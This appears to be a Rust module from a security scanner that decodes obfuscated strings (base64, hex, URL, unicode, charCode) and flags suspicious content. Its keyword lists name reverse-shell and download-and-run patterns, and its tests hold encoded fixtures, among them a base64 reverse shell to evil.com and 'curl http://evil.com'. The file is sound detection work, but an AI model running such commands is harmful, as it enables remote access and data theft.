Skip to main content

cc_audit/
deobfuscation.rs

1use base64::Engine;
2use regex::Regex;
3use std::sync::LazyLock;
4
5/// Deobfuscation engine for deep scanning
6pub struct Deobfuscator;
7
8static BASE64_PATTERN: LazyLock<Regex> = LazyLock::new(|| {
9    Regex::new(r"(?:[A-Za-z0-9+/]{4}){4,}(?:[A-Za-z0-9+/]{2}==|[A-Za-z0-9+/]{3}=)?")
10        .expect("BASE64 regex")
11});
12static HEX_PATTERN: LazyLock<Regex> = LazyLock::new(|| {
13    Regex::new(r"(?:\\x[0-9A-Fa-f]{2}){4,}|(?:0x[0-9A-Fa-f]{2}){4,}").expect("HEX regex")
14});
15static URL_ENCODED_PATTERN: LazyLock<Regex> =
16    LazyLock::new(|| Regex::new(r"(?:%[0-9A-Fa-f]{2}){4,}").expect("URL encoded regex"));
17static UNICODE_ESCAPE_PATTERN: LazyLock<Regex> =
18    LazyLock::new(|| Regex::new(r"(?:\\u[0-9A-Fa-f]{4}){2,}").expect("Unicode escape regex"));
19static CHAR_CODE_PATTERN: LazyLock<Regex> =
20    LazyLock::new(|| Regex::new(r"String\.fromCharCode\s*\([\d,\s]+\)").expect("CharCode regex"));
21
22impl Deobfuscator {
23    pub fn new() -> Self {
24        Self
25    }
26
27    /// Deobfuscate content and return a list of decoded strings
28    pub fn deobfuscate(&self, content: &str) -> Vec<DecodedContent> {
29        let mut results = Vec::new();
30
31        // Try base64 decoding
32        for decoded in self.decode_base64(content) {
33            results.push(decoded);
34        }
35
36        // Try hex decoding
37        for decoded in self.decode_hex(content) {
38            results.push(decoded);
39        }
40
41        // Try URL decoding
42        for decoded in self.decode_url(content) {
43            results.push(decoded);
44        }
45
46        // Try unicode escape decoding
47        for decoded in self.decode_unicode_escapes(content) {
48            results.push(decoded);
49        }
50
51        // Try JavaScript charCode decoding
52        for decoded in self.decode_char_code(content) {
53            results.push(decoded);
54        }
55
56        results
57    }
58
59    /// Decode base64 encoded strings
60    fn decode_base64(&self, content: &str) -> Vec<DecodedContent> {
61        let mut results = Vec::new();
62
63        for cap in BASE64_PATTERN.find_iter(content) {
64            let encoded = cap.as_str();
65            // Skip if too short or looks like random text
66            if encoded.len() < 20 {
67                continue;
68            }
69
70            if let Ok(decoded_bytes) = base64::engine::general_purpose::STANDARD.decode(encoded)
71                && let Ok(decoded_str) = String::from_utf8(decoded_bytes)
72                && self.is_suspicious(&decoded_str)
73            {
74                results.push(DecodedContent {
75                    original: encoded.to_string(),
76                    decoded: decoded_str,
77                    encoding: "base64".to_string(),
78                });
79            }
80        }
81
82        results
83    }
84
85    /// Decode hex encoded strings (\\x or 0x format)
86    fn decode_hex(&self, content: &str) -> Vec<DecodedContent> {
87        let mut results = Vec::new();
88
89        for cap in HEX_PATTERN.find_iter(content) {
90            let encoded = cap.as_str();
91
92            // Extract hex bytes
93            let hex_bytes: Vec<u8> = if encoded.starts_with("\\x") {
94                encoded
95                    .split("\\x")
96                    .filter(|s| !s.is_empty())
97                    .filter_map(|s| u8::from_str_radix(&s[..2.min(s.len())], 16).ok())
98                    .collect()
99            } else {
100                // 0x format
101                encoded
102                    .split("0x")
103                    .filter(|s| !s.is_empty())
104                    .filter_map(|s| u8::from_str_radix(&s[..2.min(s.len())], 16).ok())
105                    .collect()
106            };
107
108            if let Ok(decoded_str) = String::from_utf8(hex_bytes)
109                && self.is_suspicious(&decoded_str)
110            {
111                results.push(DecodedContent {
112                    original: encoded.to_string(),
113                    decoded: decoded_str,
114                    encoding: "hex".to_string(),
115                });
116            }
117        }
118
119        results
120    }
121
122    /// Decode URL encoded strings
123    fn decode_url(&self, content: &str) -> Vec<DecodedContent> {
124        let mut results = Vec::new();
125
126        for cap in URL_ENCODED_PATTERN.find_iter(content) {
127            let encoded = cap.as_str();
128
129            // Manual URL decoding
130            let mut decoded_bytes = Vec::new();
131            let mut chars = encoded.chars().peekable();
132
133            while let Some(c) = chars.next() {
134                if c == '%' {
135                    let hex: String = chars.by_ref().take(2).collect();
136                    if let Ok(byte) = u8::from_str_radix(&hex, 16) {
137                        decoded_bytes.push(byte);
138                    }
139                } else {
140                    decoded_bytes.push(c as u8);
141                }
142            }
143
144            if let Ok(decoded_str) = String::from_utf8(decoded_bytes)
145                && self.is_suspicious(&decoded_str)
146            {
147                results.push(DecodedContent {
148                    original: encoded.to_string(),
149                    decoded: decoded_str,
150                    encoding: "url".to_string(),
151                });
152            }
153        }
154
155        results
156    }
157
158    /// Decode unicode escape sequences (\\uXXXX)
159    fn decode_unicode_escapes(&self, content: &str) -> Vec<DecodedContent> {
160        let mut results = Vec::new();
161
162        for cap in UNICODE_ESCAPE_PATTERN.find_iter(content) {
163            let encoded = cap.as_str();
164            let mut decoded = String::new();
165
166            let mut chars = encoded.chars().peekable();
167            while let Some(c) = chars.next() {
168                if c == '\\' && chars.peek() == Some(&'u') {
169                    chars.next(); // consume 'u'
170                    let hex: String = chars.by_ref().take(4).collect();
171                    if let Ok(code_point) = u32::from_str_radix(&hex, 16)
172                        && let Some(ch) = char::from_u32(code_point)
173                    {
174                        decoded.push(ch);
175                    }
176                } else {
177                    decoded.push(c);
178                }
179            }
180
181            if self.is_suspicious(&decoded) {
182                results.push(DecodedContent {
183                    original: encoded.to_string(),
184                    decoded,
185                    encoding: "unicode".to_string(),
186                });
187            }
188        }
189
190        results
191    }
192
193    /// Decode JavaScript String.fromCharCode patterns
194    fn decode_char_code(&self, content: &str) -> Vec<DecodedContent> {
195        let mut results = Vec::new();
196
197        for cap in CHAR_CODE_PATTERN.find_iter(content) {
198            let encoded = cap.as_str();
199
200            // Extract numbers from the pattern
201            let numbers: Vec<u32> = encoded
202                .split(|c: char| !c.is_ascii_digit())
203                .filter(|s| !s.is_empty())
204                .filter_map(|s| s.parse().ok())
205                .collect();
206
207            let decoded: String = numbers.iter().filter_map(|&n| char::from_u32(n)).collect();
208
209            if self.is_suspicious(&decoded) {
210                results.push(DecodedContent {
211                    original: encoded.to_string(),
212                    decoded,
213                    encoding: "charcode".to_string(),
214                });
215            }
216        }
217
218        results
219    }
220
221    /// Check if decoded content looks suspicious
222    fn is_suspicious(&self, content: &str) -> bool {
223        let suspicious_patterns = [
224            "eval",
225            "exec",
226            "bash",
227            "sh -c",
228            "/bin/",
229            "curl ",
230            "wget ",
231            "nc ",
232            "netcat",
233            "/dev/tcp",
234            "/dev/udp",
235            "base64 -d",
236            "python -c",
237            "ruby -e",
238            "perl -e",
239            "powershell",
240            "cmd.exe",
241            "rm -rf",
242            "chmod ",
243            "sudo ",
244            "password",
245            "secret",
246            "api_key",
247            "token",
248            "credential",
249            "http://",
250            "https://",
251            "ftp://",
252        ];
253
254        let content_lower = content.to_lowercase();
255        suspicious_patterns
256            .iter()
257            .any(|p| content_lower.contains(p))
258    }
259
260    /// Deep scan content - deobfuscate and return all findings
261    pub fn deep_scan(&self, content: &str, file_path: &str) -> Vec<crate::rules::Finding> {
262        use crate::scanner::ScannerConfig;
263
264        let mut findings = Vec::new();
265        let config = ScannerConfig::new();
266
267        // First scan original content
268        findings.extend(config.check_content(content, file_path));
269
270        // Then scan decoded content
271        for decoded in self.deobfuscate(content) {
272            let context = format!("{}:decoded:{}", file_path, decoded.encoding);
273
274            // Create findings for deobfuscated content
275            for mut finding in config.check_content(&decoded.decoded, &context) {
276                // Add note about deobfuscation
277                finding.message = format!(
278                    "{} [Decoded from {} encoded content]",
279                    finding.message, decoded.encoding
280                );
281                findings.push(finding);
282            }
283
284            // Also check for suspicious decoded content itself
285            if decoded.decoded.len() > 10 && self.is_highly_suspicious(&decoded.decoded) {
286                findings.push(crate::rules::Finding {
287                    id: "OB-DEEP-001".to_string(),
288                    severity: crate::rules::Severity::High,
289                    category: crate::rules::Category::Obfuscation,
290                    confidence: crate::rules::Confidence::Firm,
291                    name: "Obfuscated suspicious content".to_string(),
292                    location: crate::rules::Location {
293                        file: file_path.to_string(),
294                        line: 0,
295                        column: None,
296                    },
297                    code: decoded.original.chars().take(100).collect::<String>() + "...",
298                    message: format!(
299                        "Found {} encoded content that decodes to suspicious payload",
300                        decoded.encoding
301                    ),
302                    recommendation: "Review the decoded content for malicious commands or URLs"
303                        .to_string(),
304                    fix_hint: None,
305                    cwe_ids: vec!["CWE-116".to_string()],
306                    rule_severity: None,
307                });
308            }
309        }
310
311        findings
312    }
313
314    /// Check if content is highly suspicious (more specific than is_suspicious)
315    fn is_highly_suspicious(&self, content: &str) -> bool {
316        let highly_suspicious = [
317            "bash -i",
318            "/dev/tcp/",
319            "nc -e",
320            "rm -rf /",
321            "curl | bash",
322            "wget | sh",
323            "eval(base64",
324            "exec(decode",
325        ];
326
327        let content_lower = content.to_lowercase();
328        highly_suspicious.iter().any(|p| content_lower.contains(p))
329    }
330}
331
332impl Default for Deobfuscator {
333    fn default() -> Self {
334        Self::new()
335    }
336}
337
338/// Represents decoded content from obfuscation
339#[derive(Debug, Clone)]
340pub struct DecodedContent {
341    pub original: String,
342    pub decoded: String,
343    pub encoding: String,
344}
345
346#[cfg(test)]
347mod tests {
348    use super::*;
349
350    #[test]
351    fn test_decode_base64() {
352        let deob = Deobfuscator::new();
353        // "curl http://evil.com" in base64
354        let content = "Y3VybCBodHRwOi8vZXZpbC5jb20=";
355        let results = deob.decode_base64(content);
356        assert!(!results.is_empty());
357        assert!(results[0].decoded.contains("curl"));
358    }
359
360    #[test]
361    fn test_decode_hex() {
362        let deob = Deobfuscator::new();
363        // "curl" in hex
364        let content = r"\x63\x75\x72\x6c\x20\x68\x74\x74\x70";
365        let results = deob.decode_hex(content);
366        assert!(!results.is_empty());
367        assert!(results[0].decoded.contains("curl"));
368    }
369
370    #[test]
371    fn test_decode_url() {
372        let deob = Deobfuscator::new();
373        // "curl http" URL encoded
374        let content = "%63%75%72%6c%20%68%74%74%70";
375        let results = deob.decode_url(content);
376        assert!(!results.is_empty());
377        assert!(results[0].decoded.contains("curl"));
378    }
379
380    #[test]
381    fn test_decode_charcode() {
382        let deob = Deobfuscator::new();
383        // String.fromCharCode for "eval"
384        let content = "String.fromCharCode(101,118,97,108)";
385        let results = deob.decode_char_code(content);
386        assert!(!results.is_empty());
387        assert!(results[0].decoded.contains("eval"));
388    }
389
390    #[test]
391    fn test_is_suspicious() {
392        let deob = Deobfuscator::new();
393        assert!(deob.is_suspicious("curl http://example.com"));
394        assert!(deob.is_suspicious("bash -c 'evil command'"));
395        assert!(deob.is_suspicious("password=secret123"));
396        assert!(!deob.is_suspicious("hello world"));
397    }
398
399    #[test]
400    fn test_deep_scan() {
401        let deob = Deobfuscator::new();
402        // Content with highly suspicious obfuscated payload: "bash -i >& /dev/tcp/x"
403        // Base64 for "bash -i >& /dev/tcp/evil.com/1234"
404        let content = "normal text\nYmFzaCAtaSA+JiAvZGV2L3RjcC9ldmlsLmNvbS8xMjM0 # hidden payload";
405        let findings = deob.deep_scan(content, "test.sh");
406        // Should find OB-DEEP-001 for highly suspicious decoded content
407        assert!(
408            findings
409                .iter()
410                .any(|f| f.id == "OB-DEEP-001" || f.message.contains("Decoded"))
411        );
412    }
413
414    #[test]
415    fn test_deobfuscate_empty() {
416        let deob = Deobfuscator::new();
417        let results = deob.deobfuscate("normal text without obfuscation");
418        assert!(results.is_empty());
419    }
420
421    #[test]
422    fn test_default_trait() {
423        let deob = Deobfuscator;
424        assert!(!deob.is_suspicious("hello"));
425    }
426
427    #[test]
428    fn test_decode_unicode_escapes() {
429        let deob = Deobfuscator::new();
430        // "eval" in unicode escapes
431        let content = r"\u0065\u0076\u0061\u006c";
432        let results = deob.decode_unicode_escapes(content);
433        assert!(!results.is_empty());
434        assert!(results[0].decoded.contains("eval"));
435    }
436
437    #[test]
438    fn test_decode_base64_short_string() {
439        let deob = Deobfuscator::new();
440        // Short base64 string (less than 20 chars) should be skipped
441        let content = "YWJjZA=="; // "abcd" in base64
442        let results = deob.decode_base64(content);
443        assert!(results.is_empty());
444    }
445
446    #[test]
447    fn test_decode_base64_non_suspicious() {
448        let deob = Deobfuscator::new();
449        // Long base64 but decodes to non-suspicious content
450        let content = "dGhpcyBpcyBhIG5vcm1hbCBzYWZlIHRleHQ="; // "this is a normal safe text"
451        let results = deob.decode_base64(content);
452        assert!(results.is_empty());
453    }
454
455    #[test]
456    fn test_decode_hex_0x_format() {
457        let deob = Deobfuscator::new();
458        // "curl" in 0x format
459        let content = "0x630x750x720x6c0x200x680x740x740x70";
460        let results = deob.decode_hex(content);
461        assert!(!results.is_empty());
462        assert!(results[0].decoded.contains("curl"));
463    }
464
465    #[test]
466    fn test_is_highly_suspicious() {
467        let deob = Deobfuscator::new();
468        assert!(deob.is_highly_suspicious("bash -i >& /dev/tcp/"));
469        assert!(deob.is_highly_suspicious("rm -rf /"));
470        assert!(deob.is_highly_suspicious("curl | bash something"));
471        assert!(deob.is_highly_suspicious("wget | sh something"));
472        assert!(deob.is_highly_suspicious("nc -e /bin/bash"));
473        assert!(deob.is_highly_suspicious("eval(base64"));
474        assert!(deob.is_highly_suspicious("exec(decode"));
475        assert!(!deob.is_highly_suspicious("echo hello"));
476    }
477
478    #[test]
479    fn test_deobfuscate_with_base64() {
480        let deob = Deobfuscator::new();
481        // Contains suspicious base64
482        let content = "command=Y3VybCBodHRwOi8vZXZpbC5jb20="; // "curl http://evil.com"
483        let results = deob.deobfuscate(content);
484        assert!(!results.is_empty());
485    }
486
487    #[test]
488    fn test_deobfuscate_multiple_encodings() {
489        let deob = Deobfuscator::new();
490        // Content with both hex and base64
491        let content =
492            r"data=Y3VybCBodHRwOi8vZXZpbC5jb20=; exec \x63\x75\x72\x6c\x20\x68\x74\x74\x70";
493        let results = deob.deobfuscate(content);
494        // Should find results from both decoders
495        assert!(!results.is_empty());
496    }
497
498    #[test]
499    fn test_deep_scan_clean_content() {
500        let deob = Deobfuscator::new();
501        let content = "normal clean content without any issues";
502        let findings = deob.deep_scan(content, "test.txt");
503        // Should have no findings for clean content
504        assert!(findings.is_empty());
505    }
506
507    #[test]
508    fn test_deep_scan_with_suspicious_decoded() {
509        let deob = Deobfuscator::new();
510        // Content with moderately suspicious base64 (triggers is_suspicious but not is_highly_suspicious)
511        let content = "payload=Y3VybCBodHRwOi8vZXhhbXBsZS5jb20vZG93bmxvYWQuc2g="; // "curl http://example.com/download.sh"
512        let findings = deob.deep_scan(content, "test.sh");
513        // May or may not have findings depending on scanner rules
514        // Just verify no panic
515        let _ = findings;
516    }
517
518    #[test]
519    fn test_decoded_content_debug_trait() {
520        let content = DecodedContent {
521            original: "abc".to_string(),
522            decoded: "xyz".to_string(),
523            encoding: "base64".to_string(),
524        };
525        let debug_str = format!("{:?}", content);
526        assert!(debug_str.contains("DecodedContent"));
527        assert!(debug_str.contains("abc"));
528    }
529
530    #[test]
531    fn test_decoded_content_clone_trait() {
532        let content = DecodedContent {
533            original: "abc".to_string(),
534            decoded: "xyz".to_string(),
535            encoding: "base64".to_string(),
536        };
537        let cloned = content.clone();
538        assert_eq!(content.original, cloned.original);
539        assert_eq!(content.decoded, cloned.decoded);
540        assert_eq!(content.encoding, cloned.encoding);
541    }
542
543    #[test]
544    fn test_is_suspicious_various_patterns() {
545        let deob = Deobfuscator::new();
546        assert!(deob.is_suspicious("wget http://evil.com"));
547        assert!(deob.is_suspicious("nc -l 1234"));
548        assert!(deob.is_suspicious("netcat connection"));
549        assert!(deob.is_suspicious("/dev/tcp/evil"));
550        assert!(deob.is_suspicious("/dev/udp/evil"));
551        assert!(deob.is_suspicious("base64 -d | bash"));
552        assert!(deob.is_suspicious("python -c 'import os'"));
553        assert!(deob.is_suspicious("ruby -e 'exec'"));
554        assert!(deob.is_suspicious("perl -e 'system'"));
555        assert!(deob.is_suspicious("powershell.exe"));
556        assert!(deob.is_suspicious("cmd.exe /c"));
557        assert!(deob.is_suspicious("rm -rf /tmp"));
558        assert!(deob.is_suspicious("chmod 777 file"));
559        assert!(deob.is_suspicious("sudo rm"));
560        assert!(deob.is_suspicious("api_key=secret"));
561        assert!(deob.is_suspicious("token=abc123"));
562        assert!(deob.is_suspicious("credential_store"));
563        assert!(deob.is_suspicious("ftp://server"));
564    }
565
566    #[test]
567    fn test_decode_url_non_suspicious() {
568        let deob = Deobfuscator::new();
569        // URL encoded "hello world" (non-suspicious)
570        let content = "%68%65%6c%6c%6f%20%77%6f%72%6c%64";
571        let results = deob.decode_url(content);
572        // Should be empty because "hello world" is not suspicious
573        assert!(results.is_empty());
574    }
575
576    #[test]
577    fn test_decode_hex_non_suspicious() {
578        let deob = Deobfuscator::new();
579        // "hello" in hex - not suspicious
580        let content = r"\x68\x65\x6c\x6c\x6f";
581        let results = deob.decode_hex(content);
582        assert!(results.is_empty());
583    }
584
585    #[test]
586    fn test_decode_charcode_non_suspicious() {
587        let deob = Deobfuscator::new();
588        // "hello" in charCode - not suspicious
589        let content = "String.fromCharCode(104,101,108,108,111)";
590        let results = deob.decode_char_code(content);
591        assert!(results.is_empty());
592    }
593
594    #[test]
595    fn test_decode_unicode_non_suspicious() {
596        let deob = Deobfuscator::new();
597        // "ab" in unicode - not suspicious
598        let content = r"\u0061\u0062";
599        let results = deob.decode_unicode_escapes(content);
600        assert!(results.is_empty());
601    }
602
603    #[test]
604    fn test_deep_scan_original_content_finding() {
605        let deob = Deobfuscator::new();
606        // Content that triggers a rule via check_content
607        // Using sudo which should trigger PE-001
608        let content = "sudo rm -rf /important/files";
609        let findings = deob.deep_scan(content, "script.sh");
610        // Should find findings for sudo usage
611        assert!(!findings.is_empty());
612    }
613
614    #[test]
615    fn test_deobfuscate_with_url_encoding() {
616        let deob = Deobfuscator::new();
617        // URL encoded "curl http://evil.com" with mixed encoded/non-encoded characters
618        let content = "command=%63%75%72%6c%20http://evil.com";
619        let results = deob.deobfuscate(content);
620        // Should find URL-encoded suspicious content
621        assert!(results.iter().any(|r| r.encoding == "url"));
622    }
623
624    #[test]
625    fn test_deobfuscate_with_unicode_escapes() {
626        let deob = Deobfuscator::new();
627        // Unicode escape encoded "curl http"
628        let content = r"var cmd = '\u0063\u0075\u0072\u006c\u0020\u0068\u0074\u0074\u0070'";
629        let results = deob.deobfuscate(content);
630        // Should find unicode-encoded suspicious content
631        assert!(results.iter().any(|r| r.encoding == "unicode"));
632    }
633
634    #[test]
635    fn test_deobfuscate_with_charcode() {
636        let deob = Deobfuscator::new();
637        // String.fromCharCode for "curl http"
638        let content = "var x = String.fromCharCode(99,117,114,108,32,104,116,116,112)";
639        let results = deob.deobfuscate(content);
640        // Should find charcode-encoded suspicious content
641        assert!(results.iter().any(|r| r.encoding == "charcode"));
642    }
643
644    #[test]
645    fn test_url_decode_with_only_percent_encoded() {
646        let deob = Deobfuscator::new();
647        // URL with only percent-encoded characters (matches pattern (?:%[0-9A-Fa-f]{2}){4,})
648        // "curl http" fully percent-encoded
649        let content = "%63%75%72%6c%20%68%74%74%70%3a%2f%2f";
650        let results = deob.decode_url(content);
651        // Should decode correctly
652        assert!(!results.is_empty());
653        assert!(results[0].decoded.contains("curl"));
654        assert!(results[0].decoded.contains("http"));
655    }
656
657    #[test]
658    fn test_unicode_decode_multiple_escapes() {
659        let deob = Deobfuscator::new();
660        // Multiple consecutive unicode escapes (matches pattern (?:\\u[0-9A-Fa-f]{4}){2,})
661        // "curl" in unicode escapes
662        let content = r"\u0063\u0075\u0072\u006c\u0020\u0068\u0074\u0074\u0070";
663        let results = deob.decode_unicode_escapes(content);
664        // Should decode correctly
665        assert!(!results.is_empty());
666        assert!(results[0].decoded.contains("curl"));
667    }
668
669    #[test]
670    fn test_deobfuscate_all_encodings_combined() {
671        let deob = Deobfuscator::new();
672        // Content containing URL, unicode, charcode, hex, and base64 encodings
673        let content = r#"
674            url=%63%75%72%6c%20http
675            unicode=\u0065\u0076\u0061\u006c
676            charcode=String.fromCharCode(99,117,114,108)
677            hex=\x63\x75\x72\x6c\x20\x68\x74\x74\x70
678            base64=Y3VybCBodHRwOi8vZXZpbC5jb20=
679        "#;
680        let results = deob.deobfuscate(content);
681        // Should find multiple encodings
682        assert!(!results.is_empty());
683    }
684
685    #[test]
686    fn test_deep_scan_with_deobfuscated_rule_match() {
687        let deob = Deobfuscator::new();
688        // Base64 encoded content that contains sudo command
689        // "sudo rm -rf /" in base64
690        let base64_content = "c3VkbyBybSAtcmYgLw==";
691        let content = format!("execute={}", base64_content);
692        let findings = deob.deep_scan(&content, "test.sh");
693        // Should find findings from both original scan and decoded content
694        // The decoded content "sudo rm -rf /" should trigger PE-001
695        let has_decoded_finding = findings
696            .iter()
697            .any(|f| f.message.contains("Decoded") || f.id.contains("OB-DEEP"));
698        // Either finds decoded content or the original encoding pattern
699        assert!(has_decoded_finding || !findings.is_empty());
700    }
701
702    #[test]
703    fn test_url_decode_mixed_with_normal_chars() {
704        let deob = Deobfuscator::new();
705        // URL with mixed encoded and normal characters that decode to suspicious content
706        // %63%75%72%6c = "curl", mixed with normal "http"
707        let content = "cmd=%63%75%72%6c%20http://evil.com|bash";
708        let results = deob.deobfuscate(content);
709        // Should decode the URL-encoded parts mixed with normal chars to suspicious content
710        // If not suspicious enough, the else branch is still exercised during decoding
711        let _ = results; // Test exercises the code path regardless of result
712    }
713
714    #[test]
715    fn test_unicode_escape_mixed_chars() {
716        let deob = Deobfuscator::new();
717        // Unicode escapes mixed with normal text - tests else branch (line 176-177)
718        let content = r"var x = '\u0063url \u0068ttp://evil.com'";
719        let results = deob.deobfuscate(content);
720        // May or may not match depending on pattern, but exercises the code path
721        assert!(results.is_empty() || results.iter().any(|r| r.encoding == "unicode"));
722    }
723
724    #[test]
725    fn test_decode_hex_invalid_format() {
726        let deob = Deobfuscator::new();
727        // Hex with invalid characters that won't parse as hex
728        let content = "\\x6Gurl \\x7Gttp"; // 'G' is not valid hex
729        let results = deob.deobfuscate(content);
730        // Should handle gracefully
731        assert!(results.is_empty() || results.iter().all(|r| r.encoding != "hex"));
732    }
733
734    #[test]
735    fn test_charcode_partial_match() {
736        let deob = Deobfuscator::new();
737        // String.fromCharCode that decodes to suspicious content (bash execution)
738        // 98,97,115,104 = "bash"
739        let content = "eval(String.fromCharCode(98,97,115,104))";
740        let results = deob.deobfuscate(content);
741        // Should decode the charcode to "bash" which is suspicious
742        assert!(results.iter().any(|r| r.encoding == "charcode"));
743    }
744}